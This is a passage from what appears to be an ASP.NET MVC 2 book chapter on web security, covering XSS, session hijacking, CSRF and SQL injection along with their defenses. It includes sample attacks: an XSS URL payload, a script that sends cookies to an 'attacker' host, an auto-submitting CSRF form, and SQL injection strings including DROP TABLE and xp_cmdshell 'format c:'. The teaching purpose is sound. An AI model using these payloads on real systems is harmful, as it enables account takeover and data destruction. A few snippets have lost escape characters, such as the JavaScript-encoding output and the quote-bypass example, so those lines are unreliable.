Chapter 15. Security and Vulnerability

You can't go far as a web developer without a solid awareness of web security issues understood at the level of HTTP requests and responses. All web applications are potentially vulnerable to a familiar set of attacks—such as cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection—but you can mitigate each of these attack vectors if you understand them clearly.

The good news for ASP.NET MVC developers is that ASP.NET MVC doesn't on its own introduce significant new risks. It takes an easily understood bare-bones approach to handling HTTP requests and generating HTML responses, so there's little uncertainty for you to fear.

To begin this chapter, I'll recap how easy it is for end users to manipulate HTTP requests (e.g., modifying cookies or hidden or disabled form fields), which I hope will put you in the right frame of mind to consider web security clearly. After that, you'll take each of the most prevalent attack vectors in turn, learning how they work and how they apply to ASP.NET MVC. You'll learn how to block each form of attack—or better still, how to design it out of existence. To finish the chapter, you'll consider a few MVC Framework-specific security issues.

Note

This chapter is about web security issues. It isn't about implementing access control features such as user accounts and roles—for those, see Chapter 10's coverage of the [Authorize] filter and Chapter 17's coverage of core ASP.NET platform authentication and authorization facilities.

All Input Can Be Forged

Before we even get on to the real attack vectors, let's stamp out a whole class of incredibly basic but still frighteningly common vulnerabilities. I could summarize all of this by saying "Don't trust user input," but what exactly goes into the category of untrusted user input?

  • Incoming URLs (including Request.QueryString[] values)

  • Form post data (i.e., Request.Form[] values, including those from hidden and disabled fields)

  • Cookies

  • Data in other HTTP headers (such as Request.UserAgent and Request.UrlReferrer)

Basically, user input includes the entire contents of any incoming HTTP request (for more about HTTP, see the "How Does HTTP Work?" sidebar). That doesn't mean you should stop using cookies or the query string; it just means that as you design your application, your security shouldn't rely on cookie data or hidden form fields being impossible (or even difficult) for users to manipulate.

Forging HTTP Requests

The most basic, lowest-level way to send an arbitrary HTTP request is to use the DOS console program telnet instead of a web browser.[97] Open up a command prompt and connect to a remote host on port 80 by typing telnet www.example.com 80. You can then type in an HTTP request, finishing with a blank line, and the resulting HTML will appear in the command window. This shows that anyone can send to a web server absolutely any set of headers and cookie values.

However, it's difficult to type in an entire HTTP request by hand without making a mistake. It's much easier to intercept an actual web browser request and then to modify it. Fiddler is an excellent and completely legitimate debugging tool from Microsoft that lets you do just that. It acts as a local web proxy, so your browser sends its requests through Fiddler rather than directly to the Internet. Fiddler can then intercept and pause any request, displaying it in a friendly GUI, and letting you edit its contents before it's sent. You can also modify the response data before it gets back to the browser. For full details on how to download Fiddler and set it up, see www.fiddlertool.com/.

For example, if a very poorly designed web site controlled access to its administrative features using a cookie called IsAdmin (taking values true or false), then you could easily gain access just by using Fiddler to alter the cookie value sent with any particular request (Figure 15-1).

Using Fiddler to edit a live HTTP request

Figure 15-1. Using Fiddler to edit a live HTTP request

Similarly, you could edit POST payload data to bypass client-side validation, or send spoofed Request.UrlReferrer information. Fiddler is a powerful and general purpose tool for manipulating HTTP requests and responses, but there are even easier ways of editing certain things:

  • Firebug is a wonderful, free debugging tool for Firefox, especially indispensable for anyone who writes JavaScript. One of the many things you can do with it is explore and modify the document object model (DOM) of whatever page you're browsing. That means of course you can edit field values, regardless of whether they're hidden, disabled, or subject to JavaScript validation.

  • Web Developer Toolbar is another Firefox plug-in. Among many other features, it lets you view and edit cookie values and instantly make all form fields writable.

  • Internet Explorer 8 has built-in developer tools that you can access by pressing F12. Among other features, it lets you manipulate the DOM and CSS rules, including adding, editing, and removing form fields.

Unless you treat each separate HTTP request as suspicious, you'll make it easy for malicious or inquisitive visitors to access other people's data or perform unauthorized actions simply by altering query string, form, or cookie data. Your solution is not to prevent request manipulation, or to expect ASP.NET MVC to do this for yousomehow, but to check that each received request is legitimate for the logged-in visitor. For more about setting up user accounts and roles, see Chapter 17. In rare cases where you do specifically need to prevent request manipulation, consider using the MVC Futures project's MvcSerializer class (see Chapter 13's wizard example) with its SerializationMode.Signed or SerializationMode.EncryptedAndSigned option.

With this elementary stuff behind us, let's consider the "real" attack vectors that are most prevalent on the Web today, and see how your MVC application can defend against them.

Cross-Site Scripting and HTML Injection

So far, you've seen only how an attacker might send unexpected HTTP requests directly from themselves to your server. A more insidious attack strategy is to coerce an unwitting third-party visitor's browser to send unwanted HTTP requests on the attacker's behalf, abusing the identity relationship already established between your application and that victim.

XSS is the most famous and widely exploited security issue affecting web applications today. At the time of writing, the Open Web Application Security Project (OWASP) describes XSS as "the most prevalent web application security flaw,"[98] and during 2008, the XSSed project (www.xssed.com/) publicly exposed 12,885 separate XSS vulnerabilities in live web applications.

The theory is simple: if an attacker can get your site to return some arbitrary JavaScript to your visitors, then the attacker's script can take control of your visitors' browsing sessions. The attacker might then alter your HTML DOM dynamically to make the site appear defaced or to subtly inject different content, or might immediately redirect visitors to some other web site. Or, the attacker might silently harvest private data (such as passwords or credit card details), or abuse the trust that a visitor has in your domain or brand to persuade or force them to install malware onto their PC.

The key factor is that if an attacker makes your server return the attacker's script to another visitor, then that script will run in the security context of your domain. There are two main ways an attacker might achieve this:

  • Persistently, by entering carefully formed malicious input into some interactive feature (such as a message board), hoping that you'll store it in your database and then issue it back to other visitors.

  • Nonpersistently, or passively, by finding a way of sending malicious data in a request to your application, and having your application echo that data back in its response. The attacker then finds a way to trick a victim into making such a request.

Note

Internet Explorer 8 attempts to detect and block incidents where a web server echoes back, or reflects, JavaScript immediately after a cross-site request. In theory, this reduces passive XSS attacks. However, it doesn't eliminate the risk: an attacker might work around its heuristics, it doesn't block permanent XSS attacks, and not all of your visitors will use Internet Explorer 8 or later.

If you're interested in the lesscommon ways to perform a passive XSS attack, research HTTP response splitting, DNS pinning, and the whole subject of cross-domain browser bugs. These attacks are relatively rare and much harder to perform.

As you've seen throughout this book, if you're running ASP.NET MVC 2 on .NET 4, you can take advantage of the <%: ... %>autoencoding syntax, which dramatically reduces the risk of XSS vulnerabilities. To underline why this is important, and in case you're running on .NET 3.5 and therefore can't use this new syntax, I'll now demonstrate exactly how your site can be attacked if you emit user-supplied data without encoding it.

Example XSS Vulnerability

In Chapter 5, while adding the shopping cart to SportsStore, we narrowly avoided a crippling XSS vulnerability. I didn't mention it at the time, but let me now show you how things could have gone wrong.

CartController's Index() action method takes a parameter called returnUrl, and copies its value into CartIndexViewModel. Then, its view uses that value to render a plain old link tag that can send the visitor back to whatever store category they were previously browsing. In an early draft of Chapter 5, I rendered that link tag roughly as follows:

<a href="<%= Model.ReturnUrl %>">Continue shopping</a>

To see how this navigation feature works, refer back to Figure 5-9 in Chapter 5.

Attack

It's easy to see that this creates a passive XSS vulnerability. What if an attacker persuades a victim to visit the following URL?[99] (Note that this is all one long URL.)

http://yoursite/Cart/Index?returnUrl="+onmousemove="alert('XSS!')"+style="position:
absolute;left:0;top:0;width:100%;height:100%;

If you think about how the returnUrl value gets injected into the <a> tag, you'll realize that it's possible for an attacker to add arbitrary HTML attributes to the <a> tag, and those attributes may include scripts. The preceding URL merely demonstrates the vulnerability by making an annoying pop-up message appear as soon as the user moves the mouse anywhere on the page.

An attacker can therefore run arbitrary scripts in your domain's security context, and you're vulnerable to all the dangers mentioned earlier. In particular, anyone who's logged in as an administrator risks their user account being compromised. And it's not just this one application that's now at risk—it's all applications that are hosted on the same domain.

Note

In this example, the attack code arrives as a query string parameter in the URL. But please don't think that form parameters (i.e., POST parameters) are any safer—an attacker could set up a web page that contains a <form> that sends attack code to your site as a POST request, and then persuade victims to visit that page.

Defense

The underlying problem is that the application echoes back arbitrary input as raw HTML, and raw HTML can contain executable scripts. So here's the key principle of defense against XSS: never output user-supplied data without encoding it.

Encoding user-supplied data means translating certain characters to their HTML entity equivalents (e.g., translating <b>"Great"</b> to &lt;b&gt;&quot;Great&quot;&lt;/b&gt;), which ensures that the browser will treat that string as literal text, and will not act upon any markup, including scripts, that it may contain. This defense is equally effective against both persistent and passive XSS. Plus, it's easy to do.

To close the preceding vulnerability, I switched to using the .NET 4 autoencoding syntax:

<a href="<%: Model.ReturnUrl %>">Continue shopping</a>

For details about how this syntax works, see Chapter 11. If you're running on .NET 3.5, the equivalent defense is to HTML-encode the value manually, as follows:

<a href="<%= Html.Encode(Model.ReturnUrl) %>">Continue shopping</a>

That blocks the attack! But you must remember to use <%: ... %> or Html.Encode()every time you output user-supplied data. A single omission puts the whole domain at risk. For .NET 4 developers this is relatively easy because you can get into the habit of using <%: ... %> everywhere, and never use <%= ... %>. For .NET 3.5 developers, it's a matter of discipline to remember to encode user-supplied data but not the output of HTML helpers (as these already take care of encoding any parameter values you pass to them).

Warning

I mentioned this in Chapter 11 but it's important enough to warrant a reminder. If you're running on .NET 3.5, then Html.Encode()doesn't escape single quotes, so you must take care never to emit a user-supplied value into an HTML attribute surrounded by single quotes (this would open a vulnerability even if you remembered to HTML-encode the value). Fortunately this problem with Html.Encode() is fixed in .NET 4.

ASP.NET's Request Validation Feature

If you've worked with ASP.NET before, you might be used to a different way of blocking XSS attacks, namely request validation, which Microsoft added to ASP.NET in version 1.1.

To understand the background, you should know that since version 1.0, some Web Forms server controls have automatically HTML-encoded their outputs, and some others have not. There's no clear pattern defining which server controls encode and which do not, so I don't think the inconsistent design was deliberate. Even so, those quirky behaviors couldn't be changed without breaking compatibility for older Web Forms pages. So, how could the ASP.NET 1.1 team provide any coherent protection against XSS?

Their solution was to ignore output encoding altogether, and instead try to filter out dangerous requests at the source. If dangerous requests can't reach an ASP.NET application, then output-encoding inconsistencies are no longer a problem, and security-ignorant developers never have to learn to escape their outputs. Microsoft therefore implemented this XSS filter, known as request validation, and enabled it by default. Whenever it detects a suspicious input, it simply aborts the request, displaying an error message, as shown in Figure 15-2.

Request validation blocks any input that resembles an HTML tag.

Figure 15-2. Request validation blocks any input that resembles an HTML tag.

Request Validation: Good or Bad?

Request validation sounds great in theory. Sometimes it really does block actual attacks, protecting sites that would otherwise be hacked. Surely, that can only be a good thing, right?

The other side of the story is that request validation gives developers a false sense of security. Developers' ignorance is later punished when request validation turns out to be inadequate for the following reasons:

  • By default, request validation prevents legitimate users from entering any data that looks even slightly like an HTML tag—for example, the text, "I'm writing C# code with generics, e.g., List<string>, etc.". Such perfectly innocent requests are slaughtered on the spot. The user receives no useful explanation; their painstakingly worded input is simply discarded. This frustrates customers and damages your brand image. Why shouldn't a user be allowed to enter text that includes angle brackets?

  • Request validation only blocks data at the point of its first arrival. It provides no protection from unfiltered data that originated elsewhere (e.g., from a different application that shares your database, or data you imported from an older version of your application).

  • Request validation doesn't offer any protection when user input is injected into HTML attributes or script blocks, such as in the preceding returnUrl example.

In more than one real project, I've seen developers initially trust request validation, and release their application with no other protection. Later, a manager receives complaints from legitimate users who are unable to enter certain text with angle brackets. The manager is embarrassed and raises a bug. To fix the bug, a programmer has no choice but to disable request validation, either for one page or across the whole application. The programmer may not realize that his XSS-proof application is now laced with XSS vulnerabilities, or more likely he does realize it, but he's already moved on to a different project now and can't go back to deal with open-ended issues like this. And thus, the initial sense of security was false and counterproductive, and led to worse vulnerabilities in the long run.

Disabling Request Validation

Request validation is still enabled by default in ASP.NET MVC 2. Sometimes you may need to disable it to let users submit form values containing angle brackets or other perfectly legitimate character sequences that request validation would reject.

If you want to disable it either for a specific action method or across a specific controller, you can use the [ValidateInput] filter, as follows:

[ValidateInput(false)]
public class MyController : Controller { ... }

Note

In ASP.NET MVC, you can't disable request validation globally by using Web.config, as you can in Web Forms by setting <pages validateRequest="false">. That setting is ignored. However, you can disable it globally in your controller factory by assigning false to the ValidateRequest property on each controller as you create it.

Unfortunately, to confuse matters further, [ValidateInput] and the ValidateRequest property have no effect on .NET 4 unless you also make a further configuration change. To successfully disable request validation, you must add the following to your Web.config file:

<configuration>
<system.web>
<httpRuntime requestValidationMode="2.0"/>
</system.web>
</configuration>

This is because the request processing pipeline was changed in .NET 4, and request validation by default now happens too early for ASP.NET MVC to turn it off. There's no such problem in .NET 3.5.

You can make up your own mind about how the benefits of request validation weigh against its dangers. However, you must not trust request validation to provide sufficient protection alone. It is still essential that you HTML-encode any untrusted user input for the reasons described previously. And if you do HTML-encode untrusted input (e.g., using <%: ... %> syntax in all cases), then request validation adds no further protection, but it can still inconvenience legitimate users.

Customizing Request Validation Logic

If you're using .NET 4, request validation is more flexible—you can customize its logic however you wish by implementing your own request validator class. To do this, create a class that inherits from System.Web.Util.RequestValidator and override its IsValidRequestString() method.

For example, here's a custom request validator that sets up an explicit whitelist of inputs that are allowed to skip validation. For any input not on the whitelist, request validation applies as normal.

public class WhitelistingRequestValidator : RequestValidator
{
    readonly static NameValueCollection whitelist = new NameValueCollection{
        { "~/Support/Forum/Post", "messageBody" },
        { "~/Profile/Editor", "lifeHistory" },
        { "~/Profile/Editor", "hobbies" },
    };

    protected override bool IsValidRequestString(HttpContext context, string value,
                  RequestValidationSource source, string key, out int failureIndex)
    {
        if (IsWhitelisted(context, source, key)) {
            failureIndex = 0;
            return true;
        }

        // Validate as normal
        return base.IsValidRequestString(context, value, source,
                                         key, out failureIndex);
    }

    private static bool IsWhitelisted(HttpContext context,
                                        RequestValidationSource source, string key)
    {
        switch (source)
        {
            case RequestValidationSource.Form:
            case RequestValidationSource.QueryString:
                string path = context.Request.AppRelativeCurrentExecutionFilePath;
                string[] allowedValues = whitelist.GetValues(path);
                return allowedValues != null && allowedValues.Contains(key);
            default:
                return false;
        }
    }
}

To tell the framework to use this custom request validator, nominate it in your Web.config file as follows:

<configuration>
<system.web>
<httpRuntime requestValidationType="Namespace.WhitelistingRequestValidator" />
</system.web>
</configuration>

Now, whitelisted inputs (e.g., form or query string values called lifeHistory submitted to the URL ~/Profile/Editor) won't be subjected to request validation. Of course, you should take care to HTML-encode any such submitted value when you later redisplay it, as discussed previously.

Filtering HTML Using the HTML Agility Pack

Sometimes you can't simply HTML-encode all user input: you want to display a submission with a selected set of allowed, safe HTML tags. In general, that's a very difficult job, because there are hundreds of unexpected ways to hide dangerous markup in well-formed or malformed HTML (for a fantastic list of examples, see http://ha.ckers.org/xss.html). It's not enough just to strip out <script> tags! So, how will you separate the good HTML from the evil?

There's a great project on CodePlex (www.codeplex.com/) called HTML Agility Pack. It's a .NET class library that can parse HTML, taking a good guess at how to interpret malformed markup into a DOM tree-like structure. For download and usage instructions, see www.codeplex.com/htmlagilitypack/.

The following utility class demonstrates how you can use HTML Agility Pack's HtmlDocument object to remove all HTML tags except for those in a whitelist. You can put this class anywhere in your application, and then reference it from your MVC views. Before it will compile, you'll need to add a reference to the HtmlAgilityPack project or compiled assembly.

Notice how the only possible output (coming from the three bold lines) is either HTML-encoded or a whitelisted tag.

public static class HtmlFilter
{
    public static MvcHtmlString Filter(string html, string[] allowedTags)
    {
        HtmlDocument doc = new HtmlDocument();
        doc.LoadHtml(html);

        StringBuilder buffer = new StringBuilder();
        Process(doc.DocumentNode, buffer, allowedTags);

        return MvcHtmlString.Create(buffer.ToString());
    }

    static string[] RemoveChildrenOfTags = new string[] { "script", "style" };
    static void Process(HtmlNode node, StringBuilder buffer, string[] allowedTags)
    {
        switch (node.NodeType)
        {
            case HtmlNodeType.Text:
               buffer.Append(HttpUtility.HtmlEncode(((HtmlTextNode)node).Text));
                break;
            case HtmlNodeType.Element:
            case HtmlNodeType.Document:
                bool allowedTag = allowedTags.Contains(node.Name.ToLower());
                if (allowedTag)
                    buffer.AppendFormat("<{0}>", node.Name);
                if(!RemoveChildrenOfTags.Contains(node.Name))
                    foreach (HtmlNode childNode in node.ChildNodes)
                        Process(childNode, buffer, allowedTags);
                if (allowedTag)
                    buffer.AppendFormat("</{0}>", node.Name);
                break;
        }
    }
}

Now try putting the following into a view:

<%:HtmlFilter.Filter("<b>Hello</b><u><i>world</i></u><script>alert('X'),</script>",
    new string[] { "b", "i", "div", "span" }) /* Only allow these tags */ %>

You'll get the following well-formed, filtered HTML output:

<b>Hello</b><i>world</i>

Note that this filter wipes out all tag attributes unconditionally. If you need to allow some attributes (e.g., <img src="url">), you'll need to add some strong validation for those attributes, because there are plenty of ways to embed script in event handlers, such as onload and onmouseover, and even in src and style attributes (for proof, see www.mozilla.org/security/announce/2006/mfsa2006-72.html).

This isn't a certification that HTML Agility Pack is perfect and introduces no problems of its own, but I've been happy with its performance in several live production applications.

Warning

I said it earlier, but it's worth saying again: it's not a good idea to try to invent your own HTML filter from scratch! It might sound like a fun Friday afternoon job, but it's actually incredibly hard to anticipate every possible type of craftily malformed HTML that results in script execution (such as those listed at http://ha.ckers.org/xss.html). Anyone who thinks they can do it with regular expressions is wrong. That's why the code I've presented earlier is based on the existing well-proven HTML parser HTML Agility Pack.

JavaScript String Encoding and XSS

Most of the time, you don't need to render user-supplied values into the middle of a JavaScript block. But if you do, then obviously you must encode those user-supplied values; otherwise, attackers can easily inject arbitrary scripts.

What's not so obvious is how to do that encoding. You could use <%: ... %> or Html.Encode() to HTML-encode the value, but this might cause a different problem because JavaScript and HTML don't represent text in exactly the same way.

For example, you might have some JavaScript that assigns a user-supplied value to a JavaScript variable, as in the following view code, which uses jQuery to query Google's Search API:

<ul id="results"></ul>

<script type="text/javascript">
    $(function () {
        // The following line is the only one that really matters for this example
        var searchTerm = "<%: Model.SearchTerm %>";
        $.getJSON("http://ajax.googleapis.com/ajax/services/search/web?callback=?",
            { q: searchTerm, v: "1.0" },
            function (searchResults) {
                // Clear the results <ul>, then append a <li> for each result
                $("#results").children().remove();
                $.each(searchResults.responseData.results, function () {
                    $("#results").append($("<li>").html(this.title));
                });
            }
        );
    });
</script>

Here, I've used <%: ... %> to HTML-encode the user's value. This is good in that (as far as I can tell) it eliminates XSS vulnerabilities from this line. But it's also bad in that it deforms the user's input.

If the user is trying to search for "Prey" by Michael Crichton, then this string will be encoded as &quot;Prey&quot; by Michael Crichton. JavaScript doesn't understand &quot;, so the searchTerm variable will just hold the encoded value as is. The script will send the mangled value to Google, which may return no results, or poor ones (being confused by the strange search term quot). Hmm, so we don't want to HTML-encode this value, but if we don't encode it, we'll have an XSS vulnerability. What's a web developer to do?

The solution is to choose the correct encoding mechanism to match the scenario. When you're constructing HTML, use HTML encoding. When you're constructing a JavaScript string literal, use JavaScript string encoding. ASP.NET MVC includes a helper method, Ajax.JavaScriptStringEncode(), which is exactly what you need to safely represent a JavaScript string literal. Here's how to fix the preceding code:

var searchTerm = "<%= Ajax.JavaScriptStringEncode(Model.SearchTerm) %>";

Given the same search term as before, this will render as follows, with the quotes correctly escaped for JavaScript:

var searchTerm = ""Prey" by Michael Crichton";

Now our script will send the intended query to Google, and we'll get back useful results. Also, if the user-supplied value contains a line break, Ajax.JavaScriptStringEncode() will correctly replace it with as JavaScript requires, whereas <%: ... %> or Html.Encode() would leave it as is, causing an "unterminated string literal" JavaScript error.

Note

To produce a correctly formatted JavaScript string in this example, I used <%= ... %>. I know I've been saying that .NET 4 developers should never use that syntax, but you might need to make an exception for Ajax.JavaScriptStringEncode(). It returns a string rather than an MvcHtmlString(and quite rightly so—its output isn't an HTML-safe string), so the autoencoding syntax would HTML-encode its output and thus mangle the quote characters again.

Session Hijacking

You've seen how XSS attacks can allow an attacker to run arbitrary script in the context of your domain. Having achieved this, an attacker may want to take control of some victim's user account. A common strategy is session hijacking (aka cookie stealing).

During the course of a browsing session, ASP.NET identifies a visitor by their session ID cookie (by default called ASP.NET_SessionId), and if you're using Forms Authentication, by their authentication cookie (by default, called .ASPXAUTH). The former simply contains a GUID-like string; the latter contains an encrypted data packet specifying the authenticated visitor's identity. If an attacker can obtain the values held in either or both of these cookies, they can put them into their own browser and assume the victim's identity. As far as the server is concerned, the attacker and their victim become indistinguishable. Note that the attacker does not need to decrypt .ASPXAUTH.

It's supposed to be impossible for a third party to read the cookies that are associated with your domain, because those cookies don't get sent to any third-party domain, and modern browsers are pretty good at stopping JavaScript from reading any information across domain boundaries. But if an attacker can run JavaScript in the context of your domain, it's quite trivial to read those cookies and "phone home":

<script>
   var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
document.body.appendChild(img);
</script>

However careful you are to avoid XSS holes, you can never be totally sure that there are none. That's why it's still useful to add an extra level of defense against session hijacking.

Defense via Client IP Address Checks

If you keep a record of each client's IP address when their session starts, you can deny any requests that originate from a different IP. That will significantly reduce the threat of session hijacking.

The trouble with this technique is that there are legitimate reasons for a client's IP address to change during the course of a session. They might unintentionally disconnect from their ISP and then automatically reconnect a moment later, being assigned a different IP address. Or their ISP might process all HTTP traffic through a set of load-balanced proxy servers, so every request in the session appears to come from a different IP address.

You can demand that client IP addresses remain unchanged only in certain corporate LAN scenarios where you know that the underlying network will support it. You should avoid this technique when dealing with the public Internet.

Defense by Setting the HttpOnly Flag on Cookies

In 2002, Microsoft added a valuable security feature to Internet Explorer: the HttpOnly cookie. Since then, it's been adopted as a de facto standard, supported in Firefox since version 2.0.0.5 (July 2007).

The idea is simple: mark a cookie with the HttpOnly flag, and the browser will hide its existence from JavaScript, but will continue to send it in all HTTP requests. That prevents the "phone home" XSS exploit mentioned previously, while allowing the cookie's intended use for session tracking and authentication by the web server.

As a simple rule, mark all your sensitive cookies as HttpOnly unless you have some specific and rare reason to access them from JavaScript on the client. ASP.NET marks ASP.NET_SessionId and .ASPXAUTH as HttpOnly by default, so Forms Authentication is automatically quite well protected. You can apply the flag when you set other cookies as follows:

Response.Cookies.Add(new HttpCookie("MyCookie")
{
    Value = "my value",
    HttpOnly = true
});

It's not a complete defense against cookie stealing, because you might still inadvertently expose the cookie contents elsewhere. For example, if you have an error handling page that shows incoming HTTP headers as debugging aids, then a cross-site script can easily force an error and read the cookie values out of the response page.

Cross-Site Request Forgery

Because XSS gets all the limelight, many web developers don't consider an equally destructive and even simpler form of attack: CSRF. It's such a basic and obvious attack that it's frequently overlooked.

Consider a typical web site that allows logged-in members to manage their profile through a controller called UserProfileController:

public class UserProfileController : Controller
{
    public ViewResult Edit()
    {
        // Display the profile-editing screen
        var userProfile = GetExistingUserProfile();
        return View(userProfile);
    }

    [HttpPost]
    public ActionResult Edit(string email, string hobby)
    {
        // Here I'm manually applying the incoming data to a model object
        // It would work just the same if you used model binding
        var userProfile = GetExistingUserProfile();
        userProfile.Email = email;
        userProfile.Hobby = hobby;
        SaveUserProfile(userProfile);

        return RedirectToAction("Index", "Home");
    }

    private UserProfile GetExistingUserProfile() { /* Omitted */ }
    private void SaveUserProfile(UserProfile profile) { /* Omitted */ }
}

Visitors first access the parameterless Edit() action method, which displays their current profile details in a <form>, and then they submit the form to the POST-handling Edit() method. The POST-handling Edit() action method receives the posted data and saves it to the site's database. There is no XSS vulnerability.

Attack

Once again, it seems harmless. It's the sort of feature you might implement every day. Unfortunately, anyone can mount a devastating attack by enticing one of your site members to visit the following HTML page, which is hosted on some external domain:

<body onload="document.getElementById('fm1').submit()">
<form id="fm1" action="http://yoursite/UserProfile/Edit" method="post">
<input name="email" value="[email protected]" />
<input name="hobby" value="Defacing websites" />
</form>
</body>

When the exploit page loads, it simply sends a valid form submission to your POST-handling Edit() action method. Assuming you're using some kind of cookie-based authentication system and the visitor currently has a valid authentication cookie, their browser will send it with the request, and your server will take action on the request as if the victim intended it. Windows authentication is vulnerable in the same way. Now the victim's profile e-mail address is set to something under the attacker's control. The attacker can then use your "forgotten password" facility, and they'll have taken over the account and any private information or administrative privileges it holds.

The exploit can easily hide its actions, for example by quietly submitting the POST request using Ajax (i.e., using XMLHttpRequest).

If this example doesn't seem relevant to you, consider what actions someone can take through your application by making a single HTTP request. Can they purchase an item, delete an item, make a financial transaction, publish an article, fire a staff member, or fire a missile?

Defense

There are two main strategies to defend against CSRF attacks:

  • Validate the incoming HTTP Referer header: When making any HTTP request, most web browsers are configured to send the originating URL in an HTTP header called Referer (in ASP.NET, that's exposed through a property called Request.UrlReferrer—yes, referrer is the correct spelling). If you check it and find it referencing an unexpected third-party domain, you will know that it's a cross-site request.

    However, browsers are not required to send this header (e.g., most don't after a META HTTP-EQUIV="refresh" command), and some people disable it to protect their privacy. Also, it's sometimes possible for an attacker to spoof the Referer header depending on what browser and version of Flash their potential victim has installed. Overall, this is a weak solution.

  • Require some user-specific token to be included in sensitive requests: For example, if you require your users to enter their account password into every form, then third parties will be unable to forge valid cross-site submissions (they don't know each user's account password). However, this will seriously inconvenience your legitimate users.

A better option is to have your server generate a secret user-specific token, put it in a hidden form field, and then check that the token is present and correct when the form is submitted. ASP.NET MVC has a ready-made implementation of this technique.

Preventing CSRF Using the Anti-Forgery Helpers

You can detect and block CSRF attacks by combining ASP.NET MVC's Html.AntiForgeryToken() helper and its [ValidateAntiForgeryToken] filter. To protect a particular HTML form, include Html.AntiForgeryToken() inside the form. Here's an example:

<% using(Html.BeginForm()) { %>
<%: Html.AntiForgeryToken() %>
<!-- rest of form goes here -->
<% } %>

This will render something like the following:

<form action="/UserProfile/Edit" method="post">
<input name="__RequestVerificationToken" type="hidden" value="B0aG+O+Bi/5..." />
<!-- rest of form goes here -->
</form>

At the same time, Html.AntiForgeryToken() will give the visitor a cookie whose name begins with __RequestVerificationToken. The cookie will contain the same random value as the corresponding hidden field. This value remains constant throughout the visitor's browsing session.

Next, validate incoming form submissions by adding the [ValidateAntiForgeryToken] attribute to the target action method—for example:

[HttpPost] [ValidateAntiForgeryToken]
public ActionResult Edit(string email, string hobby)
{
    // Rest of code unchanged
}

[ValidateAntiForgeryToken] is an authorization filter that checks that the incoming request has a Request.Form entry called __RequestVerificationToken, that the request comes with a cookie of the corresponding name, and that their random values match. If not, it throws an exception (saying "a required anti-forgery token was not supplied or was invalid.") and blocks the request.

This prevents CSRF, because even if the potential victim has an active __RequestVerificationToken cookie, the attacker won't know its random value, so it can't supply a valid token in the hidden form field. Legitimate visitors aren't inconvenienced—the mechanism is totally silent.

Tip

If you want to protect different HTML forms in your application independently of one another, you can set a salt parameter on the hidden form field (e.g., <%: Html.AntiForgeryToken("userProfile") %>) and a corresponding value on the authorization filter (e.g., [ValidateAntiForgeryToken(Salt="userProfile")]). Salt values are just arbitrary strings. A different salt value means a different token will be generated, so even if an attacker somehow obtains an anti-forgery token at one place in your application, they can't reuse it anywhere else that a different salt value is required.

ASP.NET MVC's anti-forgery system has a few other neat features:

  • The anti-forgery cookie's name actually has a suffix that varies according to the name of your application's virtual directory. This prevents unrelated applications from accidentally interfering with one another.

  • Html.AntiForgeryToken() accepts optional path and domain parameters—these are standard HTTP cookie parameters that control which URLs are allowed to see the cookie. For example, unless you specifically set a path value, the anti-forgery cookie will be visible to all applications hosted on your domain (for most applications, this default behavior is fine).

  • The __RequestVerificationToken hidden field value contains a random component (matching the one in the cookie), but that's not all. If the user is logged in, then the hidden field value will also contain their username (obtained from HttpContext.User.Identity.Name and then encrypted). [ValidateAntiForgeryToken] checks that this matches the logged-in user. This adds protection in the unlikely scenario where an attacker can somehow write (but not read) cookies on your domain to a victim's browser, and tries to reuse a token generated for a different user.

This approach to blocking CSRF works well, but there are a few limitations you should be aware of:

  • Legitimate visitors' browsers must accept cookies. Otherwise, [ValidateAntiForgeryToken] will always deny their form posts.

  • It works only with forms submitted as POST requests, not as GET requests. This isn't much of a problem if you follow the HTTP guidelines, which say that GET requests should be read-only (i.e., they shouldn't permanently change anything, such as records in your database). These guidelines are discussed in Chapter 8.

  • It's easily bypassed if you have any XSS vulnerabilities anywhere on your domain. Any such hole would allow an attacker to read any given victim's current __RequestVerificationToken value, and then use it to forge a valid posting. So, watch out for those XSS holes!

SQL Injection

If security issues could win Oscars, SQL injection would have won the award for Most Prevalent and Dangerous Web Security Issue every year from 1998 until about 2004. It's still the most famous, perhaps because it's so easy to understand, but these days it's less often exploitable than the client-side vulnerabilities.

You probably know all about SQL injection. Just in case you don't, consider this example of a vulnerable ASP.NET MVC action method:

[HttpPost]
public ActionResult LogIn(string username, string password)
{
    string sql = string.Format(
        "SELECT 1 FROM [Users] WHERE Username='{0}' AND Password='{1}'",
        username, password);

    // Assume you have a utility class to perform SQL queries as follows
    DataTable results = MyDatabase.ExecuteCommand(new SqlCommand(sql));

    if (results.Rows.Count > 0)
    {
        // Log them in
        FormsAuthentication.SetAuthCookie(username, false);
        return RedirectToAction("Index", "Home");
    }
    else
    {
        TempData["message"] = "Sorry, login failed. Please try again";
        return RedirectToAction("LoginPrompt");
    }
}

Attack

The troublesome code is that which dynamically constructs and executes the SQL query (shown in bold). It makes no attempt to validate or encode the user-supplied username or password values, so an attacker can easily log in under any account by supplying the password blah' OR 1=1 --, because the resulting query is as follows:

SELECT 1 FROM [Users] WHERE Username='anyone' AND Password='blah' OR 1=1 --'

Or worse, the attacker might supply a username or password containing '; DROP TABLE [Users] --; or worse still, '; EXEC xp_cmdshell 'format c:' --. Careful restrictions on SQL Server user account permissions may limit the potential for damage, but fundamentally this is a bad situation.

Defense by Encoding Inputs

Considering how we used HTML encoding and JavaScript string encoding to block injection attacks earlier in this chapter, it would at first seem logical to look for an equivalent kind of SQL string encoding to block SQL injection attacks (or perhaps to validate incoming values against a blacklist of disallowed character sequences)—for example:

string sql = string.Format(
    "SELECT 1 FROM [Users] WHERE Username='{0}' AND Password='{1}'",
    username.Replace("'", "''"), password.Replace("'", "''"));

But if you're working with SQL Server, please don't use this kind of solution! Not only is it difficult to remember to keep doing it all the time, but there can still be ways to bypass the protection. For example, if the attacker replaces ' with ', you'll translate it to '', but ' is a special control sequence, so the attack is back, and this time it's personal.

Defense Using Parameterized Queries

The real solution is to use SQL Server's parameterized queries instead of pure dynamic queries. Stored procedures are one form of parameterized query, but it's equally good to send a parameterized query directly from your C# code[100]—for example:

string query = "SELECT 1 FROM [Users] WHERE Username=@username AND Password=@pwd";
SqlCommand command = new SqlCommand(query);
command.Parameters.Add("@username", SqlDbType.NVarChar, 50).Value = username;
command.Parameters.Add("@pwd", SqlDbType.NVarChar, 50).Value = password;

DataTable results = MyDatabase.ExecuteCommand(command);

This takes parameter values outside the executable structure of the query, neatly bypassing any chance that a cleverly constructed parameter value could be interpreted as executable SQL.

Defense Using Object-Relational Mapping

